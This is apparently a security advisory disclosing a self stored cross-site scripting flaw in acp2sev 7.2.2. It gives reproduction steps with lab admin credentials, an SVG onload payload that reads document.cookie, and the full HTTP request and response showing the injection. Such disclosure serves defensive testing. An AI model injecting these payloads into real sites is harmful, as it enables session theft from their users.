acp2sev 7.2.2 Cross Site Scripting

# Exploit Title: Self Stored XSS - acp2sev7.2.2
    # Date: 02/2025
    # Exploit Author: Andrey Stoykov
    # Version: 7.2.2
    # Tested on: Ubuntu 22.04
    # Blog:
    https://msecureltd.blogspot.com/2025/02/friday-fun-pentest-series-19-self.html
    
    
    Self Stored XSS #1:
    
    Steps to Reproduce:
    
    1. Visit "http://192.168.58.168/acp2se/mul/muladmin.php" and login with
    "admin" / "adminpass"
    2. In the field "Put the name of the new Admin" enter the following payload
    "><svg onload=prompt(document.cookie)>
    
    
    // HTTP POST request
    
    POST /acp2se/mul/muladmin.php HTTP/1.1
    Host: 192.168.58.168
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0)
    Gecko/20100101 Firefox/136.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 71
    Origin: http://192.168.58.168
    DNT: 1
    Sec-GPC: 1
    Connection: keep-alive
    Referer: http://192.168.58.168/acp2se/mul/muladmin.php
    Cookie: PHPSESSID=ofq25o83upb0tvch4759uo78f5
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
    
    name="><svg onload=prompt(document.cookie)>&submit=Submit
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Wed, 19 Feb 2025 08:22:26 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
    pre-check=0
    Pragma: no-cache
    Content-Length: 1210
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    
    [...]
    <table border='1' cellpadding='2' cellspacing='2' width='850'>
    <tr bgcolor='#C0C0C0'>
     <th width='850'>You have added a default Admin. His name is: "><svg
    onload=prompt(document.cookie)> .</br> The default password will be:
    <b>Admin</b>
    [...]